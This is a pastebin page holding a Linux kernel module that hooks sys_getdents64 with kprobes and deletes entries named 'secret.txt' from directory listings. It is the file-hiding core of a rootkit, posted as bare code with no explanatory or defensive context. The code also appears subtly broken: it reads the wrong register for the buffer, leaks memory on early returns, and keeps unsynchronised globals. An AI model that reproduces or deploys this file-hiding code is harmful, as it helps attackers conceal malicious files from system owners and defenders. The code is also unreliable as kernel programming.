pb.stoleyour.com

Untitled

By Sludgy Hedgehog, 6 Months ago, written in Plain Text, viewed 74 times.
URL http://pb.stoleyour.com/view/68432b32 Embed
Download Paste or View Raw — Expand paste to full width of browser
  1. #include <linux/module.h>
  2. #include <linux/kernel.h>
  3. #include <linux/kprobes.h>
  4. #include <linux/slab.h>
  5. #include <linux/dirent.h>
  6. #include <linux/uaccess.h>
  7.  
  8. MODULE_LICENSE("GPL");
  9.  
  10. #define FILE1 "secret.txt"
  11.  
  12. // Global pointer to hold user-space dirent buffer
  13. static char __user *dirent_user_ptr = NULL;
  14. static pid_t target_pid = -1;
  15. // Pre-handler (kprobe) to grab syscall arguments
  16. static struct kprobe kp = {
  17.     .symbol_name = "sys_getdents64"
  18. };
  19.  
  20. static int handler_pre(struct kprobe *p, struct pt_regs *regs) {
  21.     dirent_user_ptr = (char __user *)regs->bx; // 1st arg in x86 (fd, dirent buffer)
  22.     target_pid = current->pid;
  23.     printk(KERN_INFO "Captured dirent ptr: %p for PID: %d\n", dirent_user_ptr, target_pid);
  24.     return 0;
  25. }
  26.  
  27. // Return-handler (kretprobe) to modify syscall result
  28. static struct kretprobe rp = {
  29.     .kp.symbol_name = "sys_getdents64",
  30.     .handler = NULL,
  31.     .maxactive = 20
  32. };
  33.  
  34. static int handler_ret(struct kretprobe_instance *ri, struct pt_regs *regs) {
  35.    
  36.     long nread = regs->ax;
  37.     struct linux_dirent64 *d;
  38.     long bpos = 0, new_nread = nread;
  39.  
  40.     char *kbuf = kmalloc(nread, GFP_KERNEL);
  41.     printk(KERN_INFO "reg-ax returned: %ld\n", regs->ax);
  42.     printk(KERN_INFO "syscall return value: %ld for PID: %d\n", nread, current->pid);
  43.     printk(KERN_INFO "Dirent ptr is %p for %d\n", dirent_user_ptr, current->pid);
  44.     if (!access_ok(VERIFY_READ, dirent_user_ptr, nread)) {
  45.         printk(KERN_ERR "Dirent ptr %p: access_ok failed", dirent_user_ptr);
  46.         dirent_user_ptr = NULL;
  47.         target_pid = -1;
  48.     }
  49.     if (!dirent_user_ptr) {
  50.         printk(KERN_WARNING "Skipping: Invalid pointer\n");
  51.         dirent_user_ptr = NULL;
  52.         target_pid = -1;
  53.         return 0;
  54.     }
  55.     if (nread <= 0) {
  56.         printk(KERN_ERR "nread returned error: %ld\n", nread);
  57.         return 0;
  58.     }
  59.     if (nread > PAGE_SIZE * 4) {
  60.         printk(KERN_WARNING "Unusually large nread: %ld\n", nread);
  61.         return 0;
  62.     }
  63.     if (!kbuf) return 0;
  64.  
  65.     if (copy_from_user(kbuf, dirent_user_ptr, nread)) {
  66.         printk(KERN_ERR "copy_from_user failed\n");
  67.         kfree(kbuf);
  68.         return 0;
  69.     }
  70.     while (bpos < new_nread) {
  71.         d = (struct linux_dirent64 *)(kbuf + bpos);
  72.         if (strncmp(d->d_name, FILE1, strlen(FILE1)) == 0) {
  73.             memmove(kbuf + bpos, kbuf + bpos + d->d_reclen, new_nread - (bpos + d->d_reclen));
  74.             new_nread -= d->d_reclen;
  75.             continue;
  76.         } else {
  77.             bpos += d->d_reclen;
  78.         }
  79.     }
  80.     if (copy_to_user(dirent_user_ptr, kbuf, new_nread)) {
  81.         printk(KERN_ERR "copy_to_user failed");
  82.         kfree(kbuf);
  83.         return 0;
  84.     }
  85.  
  86.     regs->ax = new_nread;
  87.     kfree(kbuf);
  88.     dirent_user_ptr = NULL;
  89.     return 0;
  90. }
  91.  
  92. static int __init mod_init(void) {
  93.     int ret;
  94.  
  95.     kp.pre_handler = handler_pre;
  96.     ret = register_kprobe(&kp);
  97.     if (ret < 0) {
  98.         printk(KERN_ERR "Failed to register kprobe: %d\n", ret);
  99.         return ret;
  100.     }
  101.     rp.handler = handler_ret;
  102.     ret = register_kretprobe(&rp);
  103.     if (ret < 0) {
  104.         unregister_kprobe(&kp);
  105.         printk(KERN_ERR "Failed to register kretprobe: %d\n", ret);
  106.         return ret;
  107.     }
  108.     printk(KERN_INFO "Probes registered for sys_getdents64\n");
  109.     return 0;
  110. }
  111.  
  112. static void __exit mod_exit(void) {
  113.     unregister_kretprobe(&rp);
  114.     unregister_kprobe(&kp);
  115.     printk(KERN_INFO "Probes unregistered\n");
  116. }
  117.  
  118. module_init(mod_init);
  119. module_exit(mod_exit);
  120.  

Reply to "Untitled"

Here you can reply to the paste above

Powered By Stikked